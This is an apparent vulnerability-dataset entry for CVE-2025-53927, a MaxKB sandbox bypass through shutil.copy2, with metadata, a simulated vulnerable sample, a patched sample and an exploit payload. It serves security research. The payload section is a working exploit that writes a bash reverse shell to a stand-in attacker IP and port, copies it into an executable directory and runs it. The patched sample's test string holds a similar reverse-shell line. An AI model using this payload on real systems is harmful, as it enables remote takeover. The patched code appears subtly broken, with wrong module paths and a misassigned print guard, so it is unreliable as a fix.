CVE-2025-53927
MaxKB sandbox bypass via file copy allows for remote code execution.
- CVSS 6.3
- CWE-94
- Design Defects
- Remote
MaxKB is an open-source AI assistant for enterprise. Prior to version 2.0.0, the sandbox design rules can be bypassed because MaxKB only restricts the execution permissions of files in a specific directory. Therefore, an attacker can use the `shutil.copy2` method in Python to copy the command they want to execute to the executable directory. This bypasses directory restrictions and reverse shell. Version 2.0.0 fixes the issue.
- CWE
- CWE-94
- CVSS base score
- 6.3
- Published
- 2025-07-17
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- MaxKB
Solution
Upgrade MaxKB to version 2.0.0 or later.
Vulnerable code sample
import os
import shutil
import subprocess
import tempfile
# --- Environment Setup ---
# This simulates the vulnerable MaxKB environment.
# It creates a temporary directory structure.
tmp_dir = tempfile.mkdtemp()
restricted_code_dir = os.path.join(tmp_dir, "restricted")
executable_bin_dir = os.path.join(tmp_dir, "bin")
os.makedirs(restricted_code_dir, exist_ok=True)
os.makedirs(executable_bin_dir, exist_ok=True)
# Add the "executable" directory to the system's PATH for this process
# This simulates a directory where the system trusts and runs commands from.
original_path = os.environ["PATH"]
os.environ["PATH"] = f"{executable_bin_dir}{os.pathsep}{original_path}"
# --- Attacker's Payload ---
# This is the malicious script the attacker wants to execute (e.g., a reverse shell).
# For this PoC, it just prints a message and creates a file to prove execution.
malicious_payload_filename = "reverse_shell.py"
malicious_payload_path = os.path.join(restricted_code_dir, malicious_payload_filename)
malicious_payload_content = """
#!/usr/bin/env python3
import os
print("!!! PAYLOAD EXECUTED: Sandbox bypassed. Attacker has control. !!!")
with open("/tmp/pwned_by_cve.txt", "w") as f:
f.write("CVE-2025-53927 was successful.")
"""
with open(malicious_payload_path, "w") as f:
f.write(malicious_payload_content)
# The system *would* try to run code from restricted_code_dir, but assumes it's sandboxed.
# An direct execution from here would be blocked by some (flawed) mechanism.
# --- The Vulnerable Code Execution ---
# This is the code the attacker submits to MaxKB.
# MaxKB executes this, believing its sandboxing rules are effective.
# The vulnerability is that Python's `shutil` can access other directories.
attacker_submitted_code = f"""
import shutil
import os
# Path to the malicious script placed by the attacker
source_file = r'{malicious_payload_path}'
# Path to a directory where files are allowed to be executed
target_dir = r'{executable_bin_dir}'
# The core of the vulnerability: copy the payload to the executable directory
copied_file_path = shutil.copy2(source_file, target_dir)
# Make the copied file executable
os.chmod(copied_file_path, 0o755)
print(f"[+] Malicious payload copied to {{copied_file_path}} and made executable.")
"""
# Simulate MaxKB running the attacker's code.
# The print statements here simulate the log output of the vulnerable application.
print("--- Simulating vulnerable application executing attacker's code ---")
exec(attacker_submitted_code)
print("--- Attacker's code finished execution ---")
print("")
# --- Proof of Exploit ---
# Now, the attacker (or the system) can run the malicious payload
# simply by calling its name, because it's in a directory in the PATH.
print(f"--- Attempting to run the payload '{malicious_payload_filename}' from the executable directory ---")
try:
# This call succeeds because the file is now in the 'bin' directory
result = subprocess.run(
malicious_payload_filename,
check=True,
capture_output=True,
text=True
)
print(result.stdout)
if os.path.exists("/tmp/pwned_by_cve.txt"):
print("[SUCCESS] Proof file '/tmp/pwned_by_cve.txt' was created.")
os.remove("/tmp/pwned_by_cve.txt")
except (subprocess.CalledProcessError, FileNotFoundError) as e:
print(f"[FAILURE] Could not execute payload: {e}")
finally:
# --- Cleanup ---
os.environ["PATH"] = original_path
shutil.rmtree(tmp_dir)
print("\n--- Cleanup finished ---")Patched code sample
import restrictedpython.builtins
import restrictedpython.guards
from restrictedpython import compile_restricted
def execute_safely(untrusted_code: str):
"""
Executes untrusted code in a sandboxed environment that prevents access
to dangerous modules like 'os' or 'shutil', thus mitigating the
vulnerability described in CVE-2025-53927.
The sandbox is created using 'restrictedpython', which provides a set of
safe globals and built-ins, and prevents the import of arbitrary modules.
"""
# Define a limited, safe set of global variables for the executed code.
# Crucially, this does not include 'os', 'shutil', 'subprocess', or other
# modules that could be used for file system manipulation or command execution.
safe_globals = {
"__builtins__": restrictedpython.builtins.safe_builtins,
"_getiter_": restrictedpython.builtins._getiter_,
"_getitem_": restrictedpython.builtins._getitem_,
"_print_": restrictedpython.guards.full_write_guard,
# Add any other safe, necessary functions or variables here.
}
# The local namespace for the executed code will be empty.
safe_locals = {}
print(f"--- Attempting to execute potentially malicious code in a secure sandbox ---")
print(f"Code:\n{untrusted_code}\n")
try:
# Compile the untrusted code in restricted mode.
# This will raise an error if the code tries to use forbidden syntax
# like 'import shutil' or other disallowed operations.
byte_code = compile_restricted(
untrusted_code,
filename='<untrusted_code>',
mode='exec'
)
# Execute the compiled bytecode within the safe environment.
exec(byte_code, safe_globals, safe_locals)
print("--- Execution finished successfully (no malicious operations found) ---")
except Exception as e:
print(f"--- Execution FAILED as expected. The sandbox blocked the operation. ---")
print(f"Error: {e}")
print("FIX VERIFIED: The attempt to import or use a dangerous module was prevented.")
if __name__ == "__main__":
# This payload represents the attack described in the CVE.
# An attacker tries to import 'shutil' and 'os' to copy a malicious
# script to an executable directory and then run it.
malicious_payload = """
import shutil
import os
# Attacker's goal: create a malicious script and move it.
malicious_script_content = '#!/bin/bash\\n/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
source_path = '/tmp/unsafe_dir/revshell.sh'
destination_path = '/tmp/executable_dir/revshell.sh'
# This line would be the core of the vulnerability if the sandbox was weak.
# The sandbox must prevent 'shutil' from being imported or used.
shutil.copy2(source_path, destination_path)
os.chmod(destination_path, 0o755)
# In a real attack, the system might later execute this file.
"""
# Demonstrate the fix: execute the malicious payload in the secure sandbox.
# The expected outcome is an error, showing the sandbox prevented the attack.
execute_safely(malicious_payload)Payload
import os
import shutil
# --- Configuration ---
# This is a hypothetical path where execution is allowed.
# The actual path would need to be discovered on the target system.
EXECUTABLE_DIR = "/opt/maxkb/bin/tools"
# Attacker's listening IP address and port
ATTACKER_IP = "10.10.10.10"
ATTACKER_PORT = 9001
# --- End Configuration ---
# The name of the malicious script
payload_file = "reverse_shell.sh"
# Path to the script in a writable, non-executable directory (e.g., /tmp)
temp_path = f"/tmp/{payload_file}"
# The final path of the script inside the allowed execution directory
executable_path = os.path.join(EXECUTABLE_DIR, payload_file)
# The content of the reverse shell script
shell_script_content = f"""#!/bin/bash
bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1
"""
try:
# 1. Create the malicious shell script in /tmp
with open(temp_path, "w") as f:
f.write(shell_script_content)
# Make the temporary script executable
os.chmod(temp_path, 0o777)
# 2. Use shutil.copy2 to move the script to the executable directory, bypassing the sandbox
# shutil.copy2 will also preserve the executable permission
shutil.copy2(temp_path, executable_path)
# 3. Execute the script from the allowed location
os.system(executable_path)
except Exception as e:
print(f"Exploit failed: {e}")
Cite this entry
@misc{vaitp:cve202553927,
title = {{MaxKB sandbox bypass via file copy allows for remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-53927},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-53927/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
